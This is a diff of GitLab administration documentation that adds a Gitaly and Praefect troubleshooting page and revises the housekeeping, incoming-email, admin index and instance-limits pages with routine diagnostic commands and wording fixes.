@@ -1463,10 +1626,7 @@ praefect['reconciliation_scheduling_interval'] = '0' # disable the feature
### Manual reconciliation
WARNING:
-The `reconcile` sub-command is deprecated and scheduled for removal in GitLab 14.0. Use
-[automatic reconciliation](#automatic-reconciliation) instead. Manual reconciliation may
-produce excess replication jobs and is limited in functionality. Manual reconciliation does
-not work when [repository-specific primary nodes](#repository-specific-primary-nodes) are
+The `reconcile` sub-command was removed in GitLab 14.1. Use [automatic reconciliation](#automatic-reconciliation) instead. Manual reconciliation may produce excess replication jobs and is limited in functionality. Manual reconciliation does not work when [repository-specific primary nodes](#repository-specific-primary-nodes) are
enabled.
The Praefect `reconcile` sub-command allows for the manual reconciliation between two Gitaly nodes. The
@@ -1509,7 +1669,7 @@ After creating and configuring Gitaly Cluster:
1. Ensure all storages are accessible to the GitLab instance. In this example, these are
`<original_storage_name>` and `<cluster_storage_name>`.
1. [Configure repository storage weights](../repository_storage_paths.md#configure-where-new-repositories-are-stored)
- so that the Gitaly Cluster receives all new projects. This stops new projects being created
+ so that the Gitaly Cluster receives all new projects. This stops new projects from being created
on existing Gitaly nodes while the migration is in progress.
1. Schedule repository moves for:
- [Projects](#bulk-schedule-project-moves).
diff --git a/doc/administration/gitaly/troubleshooting.md b/doc/administration/gitaly/troubleshooting.md
new file mode 100644
index 00000000000..ab6f493cf0f
--- /dev/null
+++ b/doc/administration/gitaly/troubleshooting.md
@@ -0,0 +1,372 @@
+---
+stage: Create
+group: Gitaly
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# Troubleshooting Gitaly and Gitaly Cluster **(FREE SELF)**
+
+Refer to the information below when troubleshooting Gitaly and Gitaly Cluster.
+
+Before troubleshooting, see the Gitaly and Gitaly Cluster
+[frequently asked questions](faq.md).
+
+## Troubleshoot Gitaly
+
+The following sections provide possible solutions to Gitaly errors.
+
+See also [Gitaly timeout](../../user/admin_area/settings/gitaly_timeouts.md) settings.
+
+### Check versions when using standalone Gitaly servers
+
+When using standalone Gitaly servers, you must make sure they are the same version
+as GitLab to ensure full compatibility:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin** on your GitLab instance.
+1. On the left sidebar, select **Overview > Gitaly Servers**.
+1. Confirm all Gitaly servers indicate that they are up to date.
+
+### Use `gitaly-debug`
+
+The `gitaly-debug` command provides "production debugging" tools for Gitaly and Git
+performance. It is intended to help production engineers and support
+engineers investigate Gitaly performance problems.
+
+If you're using GitLab 11.6 or newer, this tool should be installed on
+your GitLab or Gitaly server already at `/opt/gitlab/embedded/bin/gitaly-debug`.
+If you're investigating an older GitLab version you can compile this
+tool offline and copy the executable to your server:
+
+```shell
+git clone https://gitlab.com/gitlab-org/gitaly.git
+cd cmd/gitaly-debug
+GOOS=linux GOARCH=amd64 go build -o gitaly-debug
+```
+
+To see the help page of `gitaly-debug` for a list of supported sub-commands, run:
+
+```shell
+gitaly-debug -h
+```
+
+### Commits, pushes, and clones return a 401
+
+```plaintext
+remote: GitLab: 401 Unauthorized
+```
+
+You need to sync your `gitlab-secrets.json` file with your GitLab
+application nodes.
+
+### Client side gRPC logs
+
+Gitaly uses the [gRPC](https://grpc.io/) RPC framework. The Ruby gRPC
+client has its own log file which may contain useful information when
+you are seeing Gitaly errors. You can control the log level of the
+gRPC client with the `GRPC_LOG_LEVEL` environment variable. The
+default level is `WARN`.
+
+You can run a gRPC trace with:
+
+```shell
+sudo GRPC_TRACE=all GRPC_VERBOSITY=DEBUG gitlab-rake gitlab:gitaly:check
+```
+
+### Server side gRPC logs
+
+gRPC tracing can also be enabled in Gitaly itself with the `GODEBUG=http2debug`
+environment variable. To set this in an Omnibus GitLab install:
+
+1. Add the following to your `gitlab.rb` file:
+
+ ```ruby
+ gitaly['env'] = {
+ "GODEBUG=http2debug" => "2"
+ }
+ ```
+
+1. [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab.
+
+### Correlating Git processes with RPCs
+
+Sometimes you need to find out which Gitaly RPC created a particular Git process.
+
+One method for doing this is by using `DEBUG` logging. However, this needs to be enabled
+ahead of time and the logs produced are quite verbose.
+
+A lightweight method for doing this correlation is by inspecting the environment
+of the Git process (using its `PID`) and looking at the `CORRELATION_ID` variable:
+
+```shell
+PID=<Git process ID>
+sudo cat /proc/$PID/environ | tr '\0' '\n' | grep ^CORRELATION_ID=
+```
+
+This method isn't reliable for `git cat-file` processes, because Gitaly
+internally pools and re-uses those across RPCs.
+
+### Observing `gitaly-ruby` traffic
+
+[`gitaly-ruby`](configure_gitaly.md#gitaly-ruby) is an internal implementation detail of Gitaly,
+so, there's not that much visibility into what goes on inside
+`gitaly-ruby` processes.
+
+If you have Prometheus set up to scrape your Gitaly process, you can see
+request rates and error codes for individual RPCs in `gitaly-ruby` by
+querying `grpc_client_handled_total`.
+
+- In theory, this metric does not differentiate between `gitaly-ruby` and other RPCs.
+- In practice from GitLab 11.9, all gRPC calls made by Gitaly itself are internal calls from the
+ main Gitaly process to one of its `gitaly-ruby` sidecars.
+
+Assuming your `grpc_client_handled_total` counter only observes Gitaly,
+the following query shows you RPCs are (most likely) internally
+implemented as calls to `gitaly-ruby`:
+
+```prometheus
+sum(rate(grpc_client_handled_total[5m])) by (grpc_method) > 0
+```
+
+### Repository changes fail with a `401 Unauthorized` error
+
+If you run Gitaly on its own server and notice these conditions:
+
+- Users can successfully clone and fetch repositories by using both SSH and HTTPS.
+- Users can't push to repositories, or receive a `401 Unauthorized` message when attempting to
+ make changes to them in the web UI.
+
+Gitaly may be failing to authenticate with the Gitaly client because it has the
+[wrong secrets file](configure_gitaly.md#configure-gitaly-servers).
+
+Confirm the following are all true:
+
+- When any user performs a `git push` to any repository on this Gitaly server, it
+ fails with a `401 Unauthorized` error:
+
+ ```shell
+ remote: GitLab: 401 Unauthorized
+ To <REMOTE_URL>
+ ! [remote rejected] branch-name -> branch-name (pre-receive hook declined)
+ error: failed to push some refs to '<REMOTE_URL>'
+ ```
+
+- When any user adds or modifies a file from the repository using the GitLab
+ UI, it immediately fails with a red `401 Unauthorized` banner.
+- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#blank-projects)
+ successfully creates the project but doesn't create the README.
+- When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server)
+ on a Gitaly client and reproducing the error, you get `401` errors
+ when reaching the [`/api/v4/internal/allowed`](../../development/internal_api.md) endpoint:
+
+ ```shell
+ # api_json.log
+ {
+ "time": "2019-07-18T00:30:14.967Z",
+ "severity": "INFO",
+ "duration": 0.57,
+ "db": 0,
+ "view": 0.57,
+ "status": 401,
+ "method": "POST",
+ "path": "\/api\/v4\/internal\/allowed",
+ "params": [
+ {
+ "key": "action",
+ "value": "git-receive-pack"
+ },
+ {
+ "key": "changes",
+ "value": "REDACTED"
+ },
+ {
+ "key": "gl_repository",
+ "value": "REDACTED"
+ },
+ {
+ "key": "project",
+ "value": "\/path\/to\/project.git"
+ },
+ {
+ "key": "protocol",
+ "value": "web"
+ },
+ {
+ "key": "env",
+ "value": "{\"GIT_ALTERNATE_OBJECT_DIRECTORIES\":[],\"GIT_ALTERNATE_OBJECT_DIRECTORIES_RELATIVE\":[],\"GIT_OBJECT_DIRECTORY\":null,\"GIT_OBJECT_DIRECTORY_RELATIVE\":null}"
+ },
+ {
+ "key": "user_id",
+ "value": "2"
+ },
+ {
+ "key": "secret_token",
+ "value": "[FILTERED]"
+ }
+ ],
+ "host": "gitlab.example.com",
+ "ip": "REDACTED",
+ "ua": "Ruby",
+ "route": "\/api\/:version\/internal\/allowed",
+ "queue_duration": 4.24,
+ "gitaly_calls": 0,
+ "gitaly_duration": 0,
+ "correlation_id": "XPUZqTukaP3"
+ }
+
+ # nginx_access.log
+ [IP] - - [18/Jul/2019:00:30:14 +0000] "POST /api/v4/internal/allowed HTTP/1.1" 401 30 "" "Ruby"
+ ```
+
+To fix this problem, confirm that your [`gitlab-secrets.json` file](configure_gitaly.md#configure-gitaly-servers)
+on the Gitaly server matches the one on Gitaly client. If it doesn't match,
+update the secrets file on the Gitaly server to match the Gitaly client, then
+[reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+
+### Command line tools cannot connect to Gitaly
+
+gRPC cannot reach your Gitaly server if:
+
+- You can't connect to a Gitaly server with command-line tools.
+- Certain actions result in a `14: Connect Failed` error message.
+
+Verify you can reach Gitaly by using TCP:
+
+```shell
+sudo gitlab-rake gitlab:tcp_check[GITALY_SERVER_IP,GITALY_LISTEN_PORT]
+```
+
+If the TCP connection:
+
+- Fails, check your network settings and your firewall rules.
+- Succeeds, your networking and firewall rules are correct.
+
+If you use proxy servers in your command line environment such as Bash, these can interfere with
+your gRPC traffic.
+
+If you use Bash or a compatible command line environment, run the following commands to determine
+whether you have proxy servers configured:
+
+```shell
+echo $http_proxy
+echo $https_proxy
+```
+
+If either of these variables have a value, your Gitaly CLI connections may be getting routed through
+a proxy which cannot connect to Gitaly.
+
+To remove the proxy setting, run the following commands (depending on which variables had values):
+
+```shell
+unset http_proxy
+unset https_proxy
+```
+
+### Permission denied errors appearing in Gitaly or Praefect logs when accessing repositories
+
+You might see the following in Gitaly and Praefect logs:
+
+```shell
+{
+ ...
+ "error":"rpc error: code = PermissionDenied desc = permission denied",
+ "grpc.code":"PermissionDenied",
+ "grpc.meta.client_name":"gitlab-web",
+ "grpc.request.fullMethod":"/gitaly.ServerService/ServerInfo",
+ "level":"warning",
+ "msg":"finished unary call with code PermissionDenied",
+ ...
+}
+```
+
+This is a GRPC call
+[error response code](https://grpc.github.io/grpc/core/md_doc_statuscodes.html).
+
+If this error occurs, even though
+[the Gitaly auth tokens are set up correctly](#praefect-errors-in-logs),
+it's likely that the Gitaly servers are experiencing
+[clock drift](https://en.wikipedia.org/wiki/Clock_drift).
+
+Ensure the Gitaly clients and servers are synchronized, and use an NTP time
+server to keep them synchronized.
+
+### Gitaly not listening on new address after reconfiguring
+
+When updating the `gitaly['listen_addr']` or `gitaly['prometheus_listen_addr']` values, Gitaly may
+continue to listen on the old address after a `sudo gitlab-ctl reconfigure`.
+
+When this occurs, run `sudo gitlab-ctl restart` to resolve the issue. This should no longer be
+necessary because [this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/2521) is resolved.
+
+### Permission denied errors appearing in Gitaly logs when accessing repositories from a standalone Gitaly node
+
+If this error occurs even though file permissions are correct, it's likely that the Gitaly node is
+experiencing [clock drift](https://en.wikipedia.org/wiki/Clock_drift).
+
+Please ensure that the GitLab and Gitaly nodes are synchronized and use an NTP time
+server to keep them synchronized if possible.
+
+## Troubleshoot Praefect (Gitaly Cluster)
+
+The following sections provide possible solutions to Gitaly Cluster errors.
+
+### Praefect errors in logs
+
+If you receive an error, check `/var/log/gitlab/gitlab-rails/production.log`.
+
+Here are common errors and potential causes:
+
+- 500 response code
+ - **ActionView::Template::Error (7:permission denied)**
+ - `praefect['auth_token']` and `gitlab_rails['gitaly_token']` do not match on the GitLab server.
+ - **Unable to save project. Error: 7:permission denied**
+ - Secret token in `praefect['storage_nodes']` on GitLab server does not match the
+ value in `gitaly['auth_token']` on one or more Gitaly servers.
+- 503 response code
+ - **GRPC::Unavailable (14:failed to connect to all addresses)**
+ - GitLab was unable to reach Praefect.
+ - **GRPC::Unavailable (14:all SubCons are in TransientFailure...)**
+ - Praefect cannot reach one or more of its child Gitaly nodes. Try running
+ the Praefect connection checker to diagnose.
+
+### Determine primary Gitaly node
+
+To determine the current primary Gitaly node for a specific Praefect node:
+
+- Use the `Shard Primary Election` [Grafana chart](praefect.md#grafana) on the
+ [`Gitlab Omnibus - Praefect` dashboard](https://gitlab.com/gitlab-org/grafana-dashboards/-/blob/master/omnibus/praefect.json).
+ This is recommended.
+- If you do not have Grafana set up, use the following command on each host of each
+ Praefect node:
+
+ ```shell
+ curl localhost:9652/metrics | grep gitaly_praefect_primaries`
+ ```
+
+### Relation does not exist errors
+
+By default Praefect database tables are created automatically by `gitlab-ctl reconfigure` task.
+
+However, the Praefect database tables are not created on initial reconfigure and can throw
+errors that relations do not exist if either:
+
+- The `gitlab-ctl reconfigure` command isn't executed.
+- There are errors during the execution.
+
+For example:
+
+- `ERROR: relation "node_status" does not exist at character 13`
+- `ERROR: relation "replication_queue_lock" does not exist at character 40`
+- This error:
+
+ ```json
+ {"level":"error","msg":"Error updating node: pq: relation \"node_status\" does not exist","pid":210882,"praefectName":"gitlab1x4m:0.0.0.0:2305","time":"2021-04-01T19:26:19.473Z","virtual_storage":"praefect-cluster-1"}
+ ```
+
+To solve this, the database schema migration can be done using `sql-migrate` sub-command of
+the `praefect` command:
+
+```shell
+$ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml sql-migrate
+praefect sql-migrate: OK (applied 21 migrations)
+```
diff --git a/doc/administration/housekeeping.md b/doc/administration/housekeeping.md
index a89e8a2bad5..8f5bf2ee013 100644
--- a/doc/administration/housekeeping.md
+++ b/doc/administration/housekeeping.md
@@ -4,46 +4,68 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Housekeeping **(FREE)**
+# Housekeeping **(FREE SELF)**
-GitLab supports and automates housekeeping tasks within your current repository,
-such as compressing file revisions and removing unreachable objects.
+GitLab supports and automates housekeeping tasks within your current repository such as:
+
+- Compressing Git objects.
+- Removing unreachable objects.
## Configure housekeeping
-GitLab automatically runs `git gc` and `git repack` on repositories
-after Git pushes.
+GitLab automatically runs `git gc` and `git repack` on repositories after Git pushes:
+
+- [`git gc`](https://git-scm.com/docs/git-gc) runs a number of housekeeping tasks such as:
+ - Compressing Git objects to reduce disk space and increase performance.
+ - Removing unreachable objects that may have been created from changes to the repository, like force-overwriting branches.
+- [`git repack`](https://git-scm.com/docs/git-repack) either:
+ - Runs an incremental repack, according to a [configured period](#housekeeping-options). This
+ packs all loose objects into a new packfile and prunes the now-redundant loose objects.
+ - Runs a full repack, according to a [configured period](#housekeeping-options). This repacks all
+ packfiles and loose objects into a single new packfile, and deletes the old now-redundant loose
+ objects and packfiles. It also optionally creates bitmaps for the new packfile.
You can change how often this happens or turn it off:
1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. On the left sidebar, select **Settings > Repository**.
1. Expand **Repository maintenance**.
-1. Configure the Housekeeping options.
+1. In the **Housekeeping** section, configure the [housekeeping options](#housekeeping-options).
1. Select **Save changes**.
-For example, in the following scenario a `git repack -d` will be executed:
+### Housekeeping options
+
+The following housekeeping options are available:
+
+- **Enable automatic repository housekeeping**: Regularly run `git repack` and `git gc`. If you
+ keep this setting disabled for a long time, Git repository access on your GitLab server becomes
+ slower and your repositories use more disk space.
+- **Enable Git pack file bitmap creation**: Create pack file bitmaps which accelerates `git clone`
+ performance. Makes housekeeping take a little longer.
+- **Incremental repack period**: Number of Git pushes after which an incremental `git repack` is
+ run.
+- **Full repack period**: Number of Git pushes after which a full `git repack` is run.
+- **Git GC period**: Number of Git pushes after which `git gc` is run.
+
+As an example, see the following scenario:
-- Project: pushes since GC counter (`pushes_since_gc`) = `10`
-- Git GC period = `200`
-- Full repack period = `50`
+- Incremental repack period: 10.
+- Full repack period: 50.
+- Git GC period: 200.
-When the `pushes_since_gc` value is 50 a `repack -A -d --pack-kept-objects` runs, similarly when
-the `pushes_since_gc` value is 200 a `git gc` runs:
+When the:
-- `git gc` ([man page](https://mirrors.edge.kernel.org/pub/software/scm/git/docs/git-gc.html)) runs a number of housekeeping tasks,
- such as compressing file revisions (to reduce disk space and increase performance)
- and removing unreachable objects which may have been created from prior invocations of
- `git add`.
-- `git repack` ([man page](https://mirrors.edge.kernel.org/pub/software/scm/git/docs/git-repack.html)) re-organize existing packs into a single, more efficient pack.
+- `pushes_since_gc` value is 50, a `repack -A -l -d --pack-kept-objects` runs.
+- `pushes_since_gc` value is 200, a `git gc` runs.
Housekeeping also [removes unreferenced LFS files](../raketasks/cleanup.md#remove-unreferenced-lfs-files)
-from your project on the same schedule as the `git gc` operation, freeing up storage space for your project.
+from your project on the same schedule as the `git gc` operation, freeing up storage space for your
+project.
## How housekeeping handles pool repositories
-Housekeeping for pool repositories is handled differently from standard repositories.
-It is ultimately performed by the Gitaly RPC `FetchIntoObjectPool`.
+Housekeeping for pool repositories is handled differently from standard repositories. It is
+ultimately performed by the Gitaly RPC `FetchIntoObjectPool`.
This is the current call stack by which it is invoked:
@@ -54,10 +76,10 @@ This is the current call stack by which it is invoked:
1. `ObjectPoolService#fetch`
1. `Gitaly::FetchIntoObjectPoolRequest`
-To manually invoke it from a Rails console, if needed, you can call `project.pool_repository.object_pool.fetch`.
-This is a potentially long-running task, though Gitaly times out in about 8 hours.
+To manually invoke it from a Rails console if needed, you can call
+`project.pool_repository.object_pool.fetch`. This is a potentially long-running task, though Gitaly
+times out in about 8 hours.
WARNING:
-Do not run `git prune` or `git gc` in pool repositories! This can
-cause data loss in "real" repositories that depend on the pool in
-question.
+Do not run `git prune` or `git gc` in pool repositories! This can cause data loss in "real"
+repositories that depend on the pool in question.
diff --git a/doc/administration/img/repository_storages_admin_ui_v13_1.png b/doc/administration/img/repository_storages_admin_ui_v13_1.png
deleted file mode 100644
index a2b88d14a36..00000000000
--- a/doc/administration/img/repository_storages_admin_ui_v13_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md
index 56af5f56cfa..c5cabc5794a 100644
--- a/doc/administration/incoming_email.md
+++ b/doc/administration/incoming_email.md
@@ -6,25 +6,25 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Incoming email **(FREE SELF)**
-GitLab has several features based on receiving incoming emails:
+GitLab has several features based on receiving incoming email messages:
- [Reply by Email](reply_by_email.md): allow GitLab users to comment on issues
- and merge requests by replying to notification emails.
+ and merge requests by replying to notification email.
- [New issue by email](../user/project/issues/managing_issues.md#new-issue-via-email):
allow GitLab users to create a new issue by sending an email to a
user-specific email address.
-- [New merge request by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email):
+- [New merge request by email](../user/project/merge_requests/creating_merge_requests.md#by-sending-an-email):
allow GitLab users to create a new merge request by sending an email to a
user-specific email address.
-- [Service Desk](../user/project/service_desk.md): provide e-mail support to
+- [Service Desk](../user/project/service_desk.md): provide email support to
your customers through GitLab.
## Requirements
We recommend using an email address that receives **only** messages that are intended for
-the GitLab instance. Any incoming emails not intended for GitLab receive a reject notice.
+the GitLab instance. Any incoming email messages not intended for GitLab receive a reject notice.
-Handling incoming emails requires an [IMAP](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol)-enabled
+Handling incoming email messages requires an [IMAP](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol)-enabled
email account. GitLab requires one of the following three strategies:
- Email sub-addressing (recommended)
@@ -53,7 +53,7 @@ leaving a catch-all available for other purposes beyond GitLab.
### Catch-all mailbox
A [catch-all mailbox](https://en.wikipedia.org/wiki/Catch-all) for a domain
-receives all emails addressed to the domain that do not match any addresses that
+receives all email messages addressed to the domain that do not match any addresses that
exist on the mail server.
As of GitLab 11.7, catch-all mailboxes support the same features as
@@ -68,7 +68,7 @@ this method only supports replies, and not the other features of [incoming email
## Set it up
-If you want to use Gmail / Google Apps for incoming emails, make sure you have
+If you want to use Gmail / Google Apps for incoming email, make sure you have
[IMAP access enabled](https://support.google.com/mail/answer/7126229)
and [allowed less secure apps to access the account](https://support.google.com/accounts/answer/6010255)
or [turn-on 2-step validation](https://support.google.com/accounts/answer/185839)
@@ -95,7 +95,7 @@ email address to sign up.
If you also host a public-facing GitLab instance at `hooli.com` and set your
incoming email domain to `hooli.com`, an attacker could abuse the "Create new
issue by email" or
-"[Create new merge request by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email)"
+"[Create new merge request by email](../user/project/merge_requests/creating_merge_requests.md#by-sending-an-email)"
features by using a project's unique address as the email when signing up for
Slack. This would send a confirmation email, which would create a new issue or
merge request on the project owned by the attacker, allowing them to click the
diff --git a/doc/administration/index.md b/doc/administration/index.md
index 69e8689c589..74c89b4d5c0 100644
--- a/doc/administration/index.md
+++ b/doc/administration/index.md
@@ -43,8 +43,8 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Adjust your instance's timezone](timezone.md): Customize the default time zone of GitLab.
- [System hooks](../system_hooks/system_hooks.md): Notifications when users, projects and keys are changed.
-- [Security](../security/README.md): Learn what you can do to further secure your GitLab instance.
-- [Usage statistics, version check, and usage ping](../user/admin_area/settings/usage_statistics.md): Enable or disable information about your instance to be sent to GitLab, Inc.
+- [Security](../security/index.md): Learn what you can do to further secure your GitLab instance.
+- [Usage statistics, version check, and Service Ping](../user/admin_area/settings/usage_statistics.md): Enable or disable information about your instance to be sent to GitLab, Inc.
- [Global user settings](user_settings.md): Configure instance-wide user permissions.
- [Polling](polling.md): Configure how often the GitLab UI polls for updates.
- [GitLab Pages configuration](pages/index.md): Enable and configure GitLab Pages.
@@ -122,7 +122,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Libravatar](libravatar.md): Use Libravatar instead of Gravatar for user avatars.
- [Sign-up restrictions](../user/admin_area/settings/sign_up_restrictions.md): block email addresses of specific domains, or whitelist only specific domains.
- [Access restrictions](../user/admin_area/settings/visibility_and_access_controls.md#enabled-git-access-protocols): Define which Git access protocols can be used to talk to GitLab (SSH, HTTP, HTTPS).
-- [Authentication and Authorization](auth/README.md): Configure external authentication with LDAP, SAML, CAS, and additional providers.
+- [Authentication and Authorization](auth/index.md): Configure external authentication with LDAP, SAML, CAS, and additional providers.
- [Sync LDAP](auth/ldap/index.md)
- [Kerberos authentication](../integration/kerberos.md)
- See also other [authentication](../topics/authentication/index.md#gitlab-administrators) topics (for example, enforcing 2FA).
@@ -134,7 +134,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Auditor users](auditor_users.md): Users with read-only access to all projects, groups, and other resources on the GitLab instance.
- [Incoming email](incoming_email.md): Configure incoming emails to allow
users to [reply by email](reply_by_email.md), create [issues by email](../user/project/issues/managing_issues.md#new-issue-via-email) and
- [merge requests by email](../user/project/merge_requests/creating_merge_requests.md#new-merge-request-by-email), and to enable [Service Desk](../user/project/service_desk.md).
+ [merge requests by email](../user/project/merge_requests/creating_merge_requests.md#by-sending-an-email), and to enable [Service Desk](../user/project/service_desk.md).
- [Postfix for incoming email](reply_by_email_postfix_setup.md): Set up a
basic Postfix mail server with IMAP authentication on Ubuntu for incoming
emails.
@@ -146,7 +146,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Issue closing pattern](issue_closing_pattern.md): Customize how to close an issue from commit messages.
- [Gitaly](gitaly/index.md): Configuring Gitaly, the Git repository storage service for GitLab.
- [Default labels](../user/admin_area/labels.md): Create labels that are automatically added to every new project.
-- [Restrict the use of public or internal projects](../public_access/public_access.md#restricting-the-use-of-public-or-internal-projects): Restrict the use of visibility levels for users when they create a project or a snippet.
+- [Restrict the use of public or internal projects](../public_access/public_access.md#restrict-use-of-public-or-internal-projects): Restrict the use of visibility levels for users when they create a project or a snippet.
- [Custom project templates](../user/admin_area/custom_project_templates.md): Configure a set of projects to be used as custom templates when creating a new project.
## Package Registry administration
@@ -241,7 +241,7 @@ who are aware of the risks.
- [GitLab Rails console commands](troubleshooting/gitlab_rails_cheat_sheet.md) (for Support Engineers)
- [Troubleshooting SSL](troubleshooting/ssl.md)
- Related links:
- - [GitLab Developer Documentation](../development/README.md)
+ - [GitLab Developer Documentation](../development/index.md)
- [Repairing and recovering broken Git repositories](https://git.seveas.net/repairing-and-recovering-broken-git-repositories.html)
- [Testing with OpenSSL](https://www.feistyduck.com/library/openssl-cookbook/online/ch-testing-with-openssl.html)
- [`strace` zine](https://wizardzines.com/zines/strace/)
diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md
index 9423045e3b5..5e0d87cd7b6 100644
--- a/doc/administration/instance_limits.md
+++ b/doc/administration/instance_limits.md
@@ -115,10 +115,7 @@ Limit the maximum daily member invitations allowed per group hierarchy.
### Webhook rate limit
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61151) in GitLab 13.12.
-> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default.
-> - Disabled on GitLab.com.
-> - Not recommended for production use.
-> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-rate-limiting-for-webhooks). **(FREE SELF)**
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/330133) in GitLab 14.1.
Limit the number of times any given webhook can be called per minute.
This only applies to project and group webhooks.
@@ -136,25 +133,6 @@ Set the limit to `0` to disable it.
- **Default rate limit**: Disabled.
-#### Enable or disable rate limiting for webhooks **(FREE SELF)**
-
-Rate limiting for webhooks is under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
-can enable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:web_hooks_rate_limit)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:web_hooks_rate_limit)
-```
-
## Gitaly concurrency limit
Clone traffic can put a large strain on your Gitaly service. To prevent such workloads from overwhelming your Gitaly server, you can set concurrency limits in Gitaly's configuration file.
@@ -169,7 +147,7 @@ Read more about [Gitaly concurrency limits](gitaly/configure_gitaly.md#limit-rpc
There's a limit to the number of comments that can be submitted on an issue,
merge request, or commit. When the limit is reached, system notes can still be
-added so that the history of events is not lost, but the user-submitted
+added so that the history of events is not lost, but the user-submitted
comment fails.
- **Max limit**: 5,000 comments.
@@ -214,7 +192,7 @@ The number of pipelines that can be created in a single push is 4.
This is to prevent the accidental creation of pipelines when `git push --all`
or `git push --mirror` is used.
-Read more in the [CI documentation](../ci/yaml/README.md#processing-git-pushes).
+Read more in the [CI documentation](../ci/yaml/index.md#processing-git-pushes).
## Retention of activity history
@@ -286,7 +264,7 @@ and to limit memory consumption.
When using offset-based pagination in the REST API, there is a limit to the maximum
requested offset into the set of results. This limit is only applied to endpoints that
support keyset-based pagination. More information about pagination options can be
-found in the [API docs section on pagination](../api/README.md#pagination).
+found in the [API docs section on pagination](../api/index.md#pagination).
To set this limit for a self-managed installation, run the following in the
[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session):
@@ -429,7 +407,7 @@ Plan.default.actual_limits.update!(ci_instance_level_variables: 30)
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37226) in GitLab 13.3.
-Job artifacts defined with [`artifacts:reports`](../ci/yaml/README.md#artifactsreports)
+Job artifacts defined with [`artifacts:reports`](../ci/yaml/index.md#artifactsreports)
that are uploaded by the runner are rejected if the file size exceeds the maximum
file size limit. The limit is determined by comparing the project's
[maximum artifact size setting](../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size)
@@ -443,33 +421,34 @@ setting is used:
| Artifact limit name | Default value |
|---------------------------------------------|---------------|
-| `ci_max_artifact_size_accessibility` | 0 |
-| `ci_max_artifact_size_api_fuzzing` | 0 |
-| `ci_max_artifact_size_archive` | 0 |
-| `ci_max_artifact_size_browser_performance` | 0 |
-| `ci_max_artifact_size_cluster_applications` | 0 |
-| `ci_max_artifact_size_cobertura` | 0 |
-| `ci_max_artifact_size_codequality` | 0 |
-| `ci_max_artifact_size_container_scanning` | 0 |
-| `ci_max_artifact_size_coverage_fuzzing` | 0 |
-| `ci_max_artifact_size_dast` | 0 |
-| `ci_max_artifact_size_dependency_scanning` | 0 |
-| `ci_max_artifact_size_dotenv` | 0 |
-| `ci_max_artifact_size_junit` | 0 |
-| `ci_max_artifact_size_license_management` | 0 |
-| `ci_max_artifact_size_license_scanning` | 0 |
-| `ci_max_artifact_size_load_performance` | 0 |
-| `ci_max_artifact_size_lsif` | 100 MB ([Introduced at 20 MB](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37226) in GitLab 13.3 and [raised to 100 MB](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46980) in GitLab 13.6.) |
-| `ci_max_artifact_size_metadata` | 0 |
-| `ci_max_artifact_size_metrics_referee` | 0 |
-| `ci_max_artifact_size_metrics` | 0 |
-| `ci_max_artifact_size_network_referee` | 0 |
-| `ci_max_artifact_size_performance` | 0 |
-| `ci_max_artifact_size_requirements` | 0 |
-| `ci_max_artifact_size_sast` | 0 |
-| `ci_max_artifact_size_secret_detection` | 0 |
-| `ci_max_artifact_size_terraform` | 5 MB ([introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37018) in GitLab 13.3) |
-| `ci_max_artifact_size_trace` | 0 |
+| `ci_max_artifact_size_accessibility` | 0 |
+| `ci_max_artifact_size_api_fuzzing` | 0 |
+| `ci_max_artifact_size_archive` | 0 |
+| `ci_max_artifact_size_browser_performance` | 0 |
+| `ci_max_artifact_size_cluster_applications` | 0 |
+| `ci_max_artifact_size_cluster_image_scanning` | 0 |
+| `ci_max_artifact_size_cobertura` | 0 |
+| `ci_max_artifact_size_codequality` | 0 |
+| `ci_max_artifact_size_container_scanning` | 0 |
+| `ci_max_artifact_size_coverage_fuzzing` | 0 |
+| `ci_max_artifact_size_dast` | 0 |
+| `ci_max_artifact_size_dependency_scanning` | 0 |
+| `ci_max_artifact_size_dotenv` | 0 |
+| `ci_max_artifact_size_junit` | 0 |
+| `ci_max_artifact_size_license_management` | 0 |
+| `ci_max_artifact_size_license_scanning` | 0 |
+| `ci_max_artifact_size_load_performance` | 0 |
